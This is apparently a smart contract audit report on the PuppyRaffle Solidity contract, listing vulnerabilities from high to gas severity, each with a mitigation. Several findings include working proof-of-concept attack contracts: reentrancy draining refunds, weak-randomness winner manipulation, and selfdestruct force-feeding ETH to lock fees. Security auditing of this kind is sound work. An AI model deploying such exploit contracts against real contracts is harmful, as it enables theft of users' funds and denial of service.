Puppy Raffle Audit Report

Version 1.0

Cyfrin.io

March 3, 2026

Puppy Raffle Audit Report

Lucas Conesa

March 3, 2026

Prepared by: [Lucas Conesa] Lead Auditors: - Lucas Conesa

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
  - Medium
  - Low
  - Informational
  - Gas

Protocol Summary

PuppyRaffle is an NFT raffle protocol. Players enter by paying an entrance fee; after a configurable duration anyone can call `selectWinner`, which pseudo-randomly selects a winner, sends them 80% of the prize pool, and mints them a puppy NFT of random rarity (Common, Rare, or Legendary). The remaining 20% accumulates as protocol fees withdrawable by the owner. Players may also request a refund before the winner is drawn.

Disclaimer

Lucas Conesa makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

```
src/PuppyRaffle.sol
```

- Solidity version: `^0.7.6`

- Inherits: `ERC721` (OpenZeppelin v3.4.0), `Ownable`

Roles

- **Owner** — deploys the contract, sets `feeAddress`, calls `withdrawFees` and `changeFeeAddress`.
- **Player** — calls `enterRaffle` to participate and `refund` to exit before the draw.
- **Anyone** — can call `selectWinner` once the raffle duration has elapsed.

Executive Summary

Issues found

Severity	Count
High	3
Medium	3
Low	2
Informational	8
Gas	1
Total	**17**

Findings

High

[H-1] Reentrancy in `PuppyRaffle::refund` allows a malicious player to drain the contract

Severity: High

Location: `src/PuppyRaffle.sol:109-112`

```
payable(msg.sender).sendValue(entranceFee); // ETH sent first
players[playerIndex] = address(0);          // state updated after
```

Description:

`refund` violates the Checks-Effects-Interactions pattern. It sends ETH to `msg.sender` before zeroing out `players[playerIndex]`. A malicious contract can implement a `receive` or `fallback` function that calls `refund` again before the first call finishes. On each re-entry, both `require` checks still pass — `playerAddress` is still `msg.sender` and the slot is still non-zero — so the contract pays out `entranceFee` again. This repeats until the contract's ETH balance is exhausted.

Proof of Concept:

The test `testReentrancyRefund` in `test/PuppyRaffleTest.t.sol` demonstrates this. Run it with:

```
forge test --match-test testReentrancyRefund -vvv
```

The test and attacker contract are reproduced below:

```
function testReentrancyRefund() public playersEntered {
    ReentrancyAttack reentrancyAttack = new ReentrancyAttack(
        puppyRaffle);
    vm.deal(address(reentrancyAttack), entranceFee);
    uint256 balanceBefore = address(puppyRaffle).balance;
    console.log("Balance before: ", balanceBefore);
    reentrancyAttack.attack();
    uint256 balanceAfter = address(puppyRaffle).balance;
    console.log("Balance after: ", balanceAfter);
    assert(address(puppyRaffle).balance < entranceFee);
}

contract ReentrancyAttack {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory attackArray = new address[](1);
        attackArray[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(attackArray);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    receive() external payable {
        if (address(puppyRaffle).balance >= entranceFee) {
```

```
            puppyRaffle.refund(attackerIndex);
        }
    }
}
```

1. The `playersEntered` modifier pre-loads the raffle with 4 legitimate players, seeding its balance with `4 * entranceFee`.
2. `ReentrancyAttack` is funded with one `entranceFee` and calls `attack()`, entering the raffle as a fifth player then immediately requesting a refund.
3. `refund` sends `entranceFee` to `receive()` before zeroing the slot. `receive()` calls `refund` again — `players[attackerIndex]` is still non-zero, both `require`s pass, and another `entranceFee` is paid out.
4. This repeats until `address(puppyRaffle).balance < entranceFee`, at which point the guard in `receive()` stops re-entering.
5. The attacker recovers all funds deposited by the legitimate players, and the final assertion confirms the raffle balance has been drained below one entrance fee.

Recommended Mitigation:

Apply the Checks-Effects-Interactions pattern: zero the player's slot **before** sending ETH.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");

    players[playerIndex] = address(0);          // effect first
    emit RaffleRefunded(playerAddress);
    payable(msg.sender).sendValue(entranceFee); // interaction last
}
```

Alternatively, add OpenZeppelin's `ReentrancyGuard` and mark `refund` as `nonReentrant`.

[H-2] Weak on-chain randomness in `PuppyRaffle::selectWinner` allows winner and NFT rarity to be manipulated

Severity: High

Location: `src/PuppyRaffle.sol:140-156`

```
// winner selection
uint256 winnerIndex =
    uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
        block.difficulty))) % players.length;

// rarity selection
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.
    difficulty))) % 100;
```

Description:

Both the winner index and the NFT rarity are derived entirely from on-chain values that are either controlled or predictable by the caller:

- `msg.sender` — the attacker chooses which address calls `selectWinner`.
- `block.timestamp` — known at transaction submission time and, in pre-merge Ethereum, could be nudged by miners within a ~15-second window.
- `block.difficulty` — on post-merge Ethereum this becomes `PREVRANDAO`, a value that the elected block proposer can influence by choosing to reveal or withhold it (at the cost of losing their block reward). On pre-merge chains it is directly set by the miner.

Because all inputs to `keccak256` are either known before the transaction is mined or are influenceable by the block proposer, the "random" output is neither unpredictable nor manipulation-resistant.

Impact:

An attacker who is also the block proposer (or who can simulate the hash off-chain before calling) can:

1. **Choose the winner** — try different `msg.sender` addresses or wait for a block whose `block.difficulty`/`PREVRANDAO` yields a `winnerIndex` pointing to their own address, then call `selectWinner` from that address. This lets them claim 80% of the entire prize pool.
2. **Choose the NFT rarity** — the rarity hash uses only `msg.sender` and `block.difficulty`. An attacker can brute-force `msg.sender` values off-chain until they find one that produces a `rarity > 95` (legendary) result, then call `selectWinner` from a contract deployed at that address.
3. **Front-run `selectWinner` to refund** — because all inputs to the hash are known before `selectWinner` is mined, any participant can simulate the outcome in advance. If they see they will not win, they can submit a `refund` transaction with a higher gas price, front-running the `selectWinner` call so their entrance fee is returned before the winner is drawn. This lets losing players exit the raffle at zero cost, destroying the protocol's prize-pool economics: only

the designated winner — who has no incentive to refund — remains, and all other participants reclaim their fees.

A regular user (non-validator) can still abuse this by simulating the hash computation in a smart contract and only proceeding with the `selectWinner` call when the result is favourable — reverting otherwise, at the cost of only gas.

Proof of Concept:

```
contract WeakRngExploit {
    PuppyRaffle raffle;

    constructor(PuppyRaffle _raffle) { raffle = _raffle; }

    function tryWin() external {
        uint256 winnerIndex = uint256(
            keccak256(abi.encodePacked(address(this), block.timestamp,
                block.difficulty))
        ) % raffle.getPlayersLength();

        // Only proceed if this contract would win
        require(raffle.players(winnerIndex) == address(this), "not
            winner");
        raffle.selectWinner();
    }
}
```

The attacker deploys this contract, enters the raffle with it, and calls `tryWin` each block until the simulated hash resolves to their own index. Because both the simulation and the actual call use identical inputs evaluated in the same block, the result is guaranteed.

Recommended Mitigation:

Use a verifiable off-chain randomness oracle such as Chainlink VRF. The randomness request and fulfillment are separated across transactions, so no single party can know the result in advance:

```
// Request randomness
function selectWinner() external {
    require(block.timestamp >= raffleStartTime + raffleDuration, "
        PuppyRaffle: Raffle not over");
    require(players.length >= 4, "PuppyRaffle: Need at least 4 players"
        );
    requestId = COORDINATOR.requestRandomWords(...);
}

// Fulfillment callback — called by Chainlink node
function fulfillRandomWords(uint256, uint256[] memory randomWords)
    internal override {
    uint256 winnerIndex = randomWords[0] % players.length;
    uint256 rarity      = randomWords[1] % 100;
```

```
    // ... rest of winner logic
}
```

[H-3] Integer overflow and unsafe `uint64` cast in `PuppyRaffle::selectWinner` permanently locks collected fees

Severity: High

Location: `src/PuppyRaffle.sol:149-150`

```
totalFees = totalFees + uint64(fee);
```

Description:

Two arithmetic errors combine to silently corrupt `totalFees`:

1. **Unsafe downcast** — `fee` is a `uint256`. Casting it to `uint64` with `uint64(fee)` silently truncates any bits above position 63. If `fee > type(uint64).max` (~18.44 ETH), the stored value wraps around and bears no relation to the actual fee owed.
2. **Unchecked addition** — Solidity `0.7.6` does not revert on overflow. Once `totalFees` approaches `type(uint64).max`, adding further fees wraps it back toward zero.

The corrupted `totalFees` value then interacts fatally with `withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Because `totalFees` is now much smaller than the actual contract balance, this equality check can never pass. All accumulated fees are permanently locked in the contract with no recovery path.

Proof of Concept:

The test `testArithmeticOverflow` in `test/PuppyRaffleTest.t.sol` demonstrates this. Run it with:

```
forge test --match-test testArithmeticOverflow -vvv
```

```
function testArithmeticOverflow() public {
    address[] memory players = new address[](100);
    for (uint160 i = 0; i < players.length; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(
        players);
```

```
    vm.warp(block.timestamp + duration + 1);
    puppyRaffle.selectWinner();

    uint256 feesToWithdraw = address(puppyRaffle).balance; // actual ETH in contract
    uint256 actualFee = puppyRaffle.getTotalFees();        // corrupted uint64 value

    assert(feesToWithdraw > actualFee);            // balance far exceeds recorded fees
    assert(feesToWithdraw > type(uint64).max);     // fee exceeded uint64 max — truncation occurred
    assert(actualFee < type(uint64).max);          // stored value wrapped to a small number
}
```

With `entranceFee = 1e18` (1 ETH) and 100 players: - `totalAmountCollected = 100e18` (100 ETH) - `fee = 20e18` (20 ETH) — the 20% protocol cut - `type(uint64).max` (~18.44e18, ~18.44 ETH) - `uint64(20e18)` truncates to ~1.55 ETH - Contract balance = 20 ETH, `totalFees` = ~1.55 ETH -> `withdrawFees` reverts forever

Recommended Mitigation:

Store `totalFees` as a `uint256` to eliminate both the downcast truncation and the overflow risk:

```
uint256 public totalFees = 0;
```

```
totalFees = totalFees + fee; // no cast needed, no overflow in 0.8+
```

Also upgrade to Solidity `^0.8.0` (or use a `SafeMath` library) so that any future overflow reverts rather than silently wrapping.

Medium

[M-1] O(n^2) duplicate check in `PuppyRaffle::enterRaffle` enables DoS — gas cost grows unboundedly for later entrants

Severity: Medium

Description:

`PuppyRaffle::enterRaffle` appends new players to the `players` array and then runs a nested loop over the **entire** array to check for duplicates:

```
for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate
            player");
    }
}
```

Because the loop iterates over every previously entered player on each new call, the gas cost scales as $O(n^2)$ with respect to the total number of players. As the `players` array grows, each subsequent call to `enterRaffle` becomes disproportionately more expensive.

Impact:

Legitimate players who attempt to enter after many others are already in the raffle face dramatically higher gas costs. With a large enough player set, the transaction gas requirement exceeds the block gas limit entirely, making it impossible for anyone new to enter the raffle. A griefing attacker can deliberately inflate the array by entering with many addresses, worsening the effect for everyone else.

Proof of Concept:

```
forge test --match-test testDenialOfService -vvv
```

1. Attacker fills `players` with a large number of addresses by calling `enterRaffle` with arrays of unique addresses.
2. Any subsequent `enterRaffle` call from a legitimate user iterates over all existing entries, consuming gas proportional to `(existing + new)`^{2}.
3. Once the array is large enough, no new `enterRaffle` transaction fits within the block gas limit.

Recommended Mitigation:

Replace the nested-loop duplicate check with a `mapping` that reduces the check to O(1) per address:

```
mapping(address => bool) private s_playerEntered;

function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
        Must send enough to enter raffle");
    for (uint256 i = 0; i < newPlayers.length; i++) {
        require(!s_playerEntered[newPlayers[i]], "PuppyRaffle:
            Duplicate player");
        s_playerEntered[newPlayers[i]] = true;
        players.push(newPlayers[i]);
    }
    emit RaffleEnter(newPlayers);
}
```

The mapping entry for each address must be cleared when the raffle resets (inside `selectWinner`) and when a player refunds (inside `refund`).

[M-2] `PuppyRaffle::selectWinner` permanently reverts if the selected winner cannot receive ETH, bricking the raffle

Severity: Medium

Location: `src/PuppyRaffle.sol:168-170`

```
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

Description:

`selectWinner` sends the prize pool to the winner via a low-level `call` and immediately requires success. If the winner is a smart contract whose `receive` or `fallback` function reverts (or has no such function at all), `success` will be **`false`** and the entire transaction reverts.

Because Ethereum reverts roll back all state changes in the transaction, the following resets — which occur just before the ETH transfer — are also undone:

```
delete players;                      // ← rolled back on revert
raffleStartTime = block.timestamp;   // ← rolled back on revert
previousWinner = winner;             // ← rolled back on revert
```

The raffle returns to exactly the state it was in before the call. The same players remain in the array and the same end-time condition is met.

Impact:

- In the normal case this creates a temporary liveness failure: `selectWinner` reverts for one block, and callers must retry in a later block where the hash resolves to a receivable address.
- Combined with **[H-2]**, an attacker can escalate this to a permanent DoS: they enter with a non-payable contract, manipulate the randomness so it is always selected, and call `selectWinner` themselves — ensuring it always reverts. No round can ever complete and the protocol is effectively bricked.

Recommended Mitigation:

Use a pull-payment pattern instead of pushing ETH directly to the winner:

```
mapping(address => uint256) public pendingPayments;

function selectWinner() external {
    // ... winner selection logic ...
    pendingPayments[winner] += prizePool;
    delete players;
    raffleStartTime = block.timestamp;
    _safeMint(winner, tokenId);
}

function claimPrize() external {
    uint256 amount = pendingPayments[msg.sender];
    require(amount > 0, "PuppyRaffle: Nothing to claim");
    pendingPayments[msg.sender] = 0;
    (bool success,) = msg.sender.call{value: amount}("");
    require(success, "PuppyRaffle: Transfer failed");
}
```

[M-3] `PuppyRaffle::withdrawFees` strict balance equality can be broken by force-sending ETH via `selfdestruct`, permanently locking fees

Severity: Medium

Location: `src/PuppyRaffle.sol:176-177`

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Description:

`withdrawFees` guards itself with a strict equality between the contract's ETH balance and `totalFees`. This introduces two independent problems:

1. Fees cannot be collected while a round is active

`totalFees` tracks only the 20% protocol cut accumulated from *completed* rounds. During an active round the contract also holds the current players' entrance fees, so:

```
address(this).balance = totalFees (prior rounds) + active_players *
    entranceFee
```

The equality check therefore always fails mid-round, even though the fees from all previous rounds are already fully accounted for in `totalFees`. The fee address is forced to wait until the round ends before it can withdraw — an unnecessary restriction.

2. Force-sending ETH via `selfdestruct` permanently breaks the check

Any account can execute `selfdestruct(payable(address(puppyRaffle)))`, transferring ETH directly to `PuppyRaffle` at the EVM level and bypassing `receive`/`fallback` entirely. Because this ETH is never entered through `enterRaffle` it is never reflected in `totalFees`. The balance becomes `totalFees + forcedAmount`, the equality fails permanently, and all accumulated fees are locked with no recovery path. An attacker needs to spend only **1 wei** to trigger this.

Proof of Concept:

```
contract Destroyer {
    constructor(address payable target) payable {
        selfdestruct(target); // forces 1 wei into PuppyRaffle, no fallback invoked
    }
}
```

1. Deploy `Destroyer` with 1 wei, passing the `PuppyRaffle` address.
2. `PuppyRaffle.balance` is now `totalFees + 1`.
3. Every call to `withdrawFees` reverts: `totalFees + 1 != totalFees`.
4. The owner can never recover the accumulated fees.

Recommended Mitigation:

Remove the balance check entirely. `totalFees` is already an explicit, accurate ledger of fees owed — it is incremented only in `selectWinner` and is never inflated by entrance fees or forced ETH:

```
function withdrawFees() external {
    uint256 feesToWithdraw = totalFees;
    totalFees = 0;
    (bool success,) = feeAddress.call{value: feesToWithdraw}("");
    require(success, "PuppyRaffle: Failed to withdraw fees");
}
```

This allows the fee address to collect at any time — including mid-round — without being affected by active players' funds or force-sent ETH.

Low

[L-1] `PuppyRaffle::enterRaffle` accepts an empty player array, emitting a misleading event and triggering an underflow when the raffle has no players yet

Severity: Low

Location: `src/PuppyRaffle.sol:85,98-99`

```
require(msg.value == entranceFee * newPlayers.length, ...); // passes when length == 0
...
emit RaffleEnter(newPlayers); // fires even though nobody entered
```

Description:

`enterRaffle` has no check that `newPlayers` is non-empty. Calling it with an empty array (`[]`) is accepted at zero cost because `entranceFee * 0 == 0`. Two consequences follow:

1. **Misleading event** — `RaffleEnter(newPlayers)` is emitted with an empty array. Any off-chain indexer, frontend, or monitoring tool that listens for this event will incorrectly record that new participants joined the raffle.
2. **Underflow / out-of-gas when `players` is empty** — If the `players` array has no entries at the time of the call (start of a new round), the duplicate-check loop evaluates:

   ```
   for (uint256 i = 0; i < players.length - 1; i++) { ... }
   //                        0 - 1 underflows to type(uint256).max in Solidity 0.7.6
   ```

   The outer loop bound becomes `type(uint256).max`, running until the transaction runs out of gas. An attacker can call `enterRaffle([])` immediately after `selectWinner` resets the array to cause this for free.

Recommended Mitigation:

```
require(newPlayers.length > 0, "PuppyRaffle: Must enter at least one player");
```

[L-2] `PuppyRaffle::getActivePlayerIndex` returns `0` for both index 0 and "not found", causing ambiguity for callers

Severity: Low

Location: `src/PuppyRaffle.sol:120-128`

```
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
```

```
        }
    }
    return 0; // same value as a valid index
}
```

Description:

The function returns `0` in two distinct situations: the player is found at index `0`, or the player is not in the raffle at all. A caller cannot distinguish between these two cases.

This leads to two failure modes:

- **Active player at index 0 thinks they are inactive** — receives `0`, interprets it as "not active" per the NatSpec, and never attempts a refund they are entitled to.
- **Inactive address thinks it is at index 0** — receives `0`, calls `refund(0)`, which reverts with `"PuppyRaffle: Only the player can refund"`, wasting gas and creating confusing UX.

Recommended Mitigation:

Return `type(uint256).max` as the sentinel for "not found":

```
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    return type(uint256).max;
}
```

Informational

[I-1] Reentrancy causes `RaffleRefunded` to be emitted multiple times for the same player

Severity: Informational

Location: `src/PuppyRaffle.sol:113-114`

Description:

Because `emit RaffleRefunded(playerAddress)` is placed after the ETH transfer, it executes once per re-entry frame when the reentrancy unwinds. If an attacker re-enters `refund` N times (as

in **[H-1]**), N `RaffleRefunded` events are emitted for the same address. Any off-chain component that counts or reacts to this event will see N refunds instead of one.

Note: Applying the H-1 mitigation (CEI pattern) resolves this simultaneously.

Recommended Mitigation:

Emit the event before the external call:

```
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
payable(msg.sender).sendValue(entranceFee);
```

[I-2] Floating and outdated pragma

Severity: Informational

Location: `src/PuppyRaffle.sol:2`

```
pragma solidity ^0.7.6;
```

Description:

1. **Floating pragma** — The `^` allows compilation with any `0.7.x` version, which can produce different bytecode across compiler versions.
2. **Outdated Solidity version** — `0.7.6` lacks the built-in overflow/underflow checks introduced in `0.8.0`, making arithmetic vulnerabilities much easier to introduce.

Recommended Mitigation:

```
pragma solidity 0.8.18;
```

[I-3] `raffleDuration` should be `immutable`

Severity: Informational

Location: `src/PuppyRaffle.sol:27`

Description:

`raffleDuration` is set once in the constructor and never modified. Declaring it as a plain storage variable wastes gas on every read (SLOAD costs 2,100 gas vs. 3 gas for an immutable) and misleads readers into thinking the value can change.

Recommended Mitigation:

```
uint256 public immutable raffleDuration;
```

[I-4] NFT image URI variables should be `constant`

Severity: Informational

Location: `src/PuppyRaffle.sol:42, 47, 52`

Description:

`commonImageUri`, `rareImageUri`, and `legendaryImageUri` are set at declaration time and never reassigned. Storing them as regular storage variables wastes deployment and read gas. They should be `constant`, storing them in bytecode instead.

Recommended Mitigation:

```
string private constant COMMON_IMAGE_URI    = "ipfs://QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";
string private constant RARE_IMAGE_URI      = "ipfs://QmUPjADFGEKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW";
string private constant LEGENDARY_IMAGE_URI = "ipfs://QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";
```

[I-5] Missing zero-address check for `feeAddress` in constructor

Severity: Informational

Location: `src/PuppyRaffle.sol:66-67`

Description:

The constructor does not validate that `_feeAddress` is non-zero. If the deployer accidentally passes `address(0)`, all accumulated fees will be sent to the zero address and permanently lost when `withdrawFees` is called.

Recommended Mitigation:

```
require(_feeAddress != address(0), "PuppyRaffle: Fee address cannot be zero");
feeAddress = _feeAddress;
```

[I-6] `totalAmountCollected` miscounts when players have refunded

Severity: Informational

Location: `src/PuppyRaffle.sol:145`

```
uint256 totalAmountCollected = players.length * entranceFee;
```

Description:

When a player refunds, their slot is zeroed but `players.length` remains unchanged. As a result, `totalAmountCollected` counts refunded slots as if they still paid, overstating the prize pool. If any refunds occurred, the actual contract balance is less than `players.length * entranceFee`, and `winner.call{value: prizePool}` may fail or drain fees from previous rounds.

Recommended Mitigation:

Track the number of active (non-refunded) players explicitly, or maintain a `currentRoundBalance` variable that increases on entry and decreases on refund.

[I-7] Magic numbers in prize-pool calculation

Severity: Informational

Location: `src/PuppyRaffle.sol:147-148`

Description:

The literals `80`, `20`, and `100` are unexplained inline numbers. Replacing them with named constants improves readability and reduces the risk of typos.

Recommended Mitigation:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE        = 20;
uint256 public constant PERCENTAGE_BASE       = 100;
```

[I-8] `PuppyRaffle::_isActivePlayer` is dead code — never called anywhere in the contract

Severity: Informational

Location: `src/PuppyRaffle.sol:192-200`

Description:

`_isActivePlayer` is an `internal` function that is never invoked by any other function in the contract. Dead code increases deployment bytecode size, adds noise that makes auditing harder, and misleads readers into thinking it serves a purpose it does not.

Recommended Mitigation:

Remove the function entirely:

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

Gas

[G-1] `players.length` not cached in duplicate-check loop

Severity: Gas

Location: `src/PuppyRaffle.sol:93`

```
for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
```

Description:

`players.length` is a storage read (SLOAD) on every loop iteration. Caching it in a local variable before the loops eliminates repeated SLOADs and saves gas proportional to the number of iterations.

Recommended Mitigation:

```
uint256 playersLength = players.length;
for (uint256 i = 0; i < playersLength - 1; i++) {
    for (uint256 j = i + 1; j < playersLength; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate
            player");
    }
}
```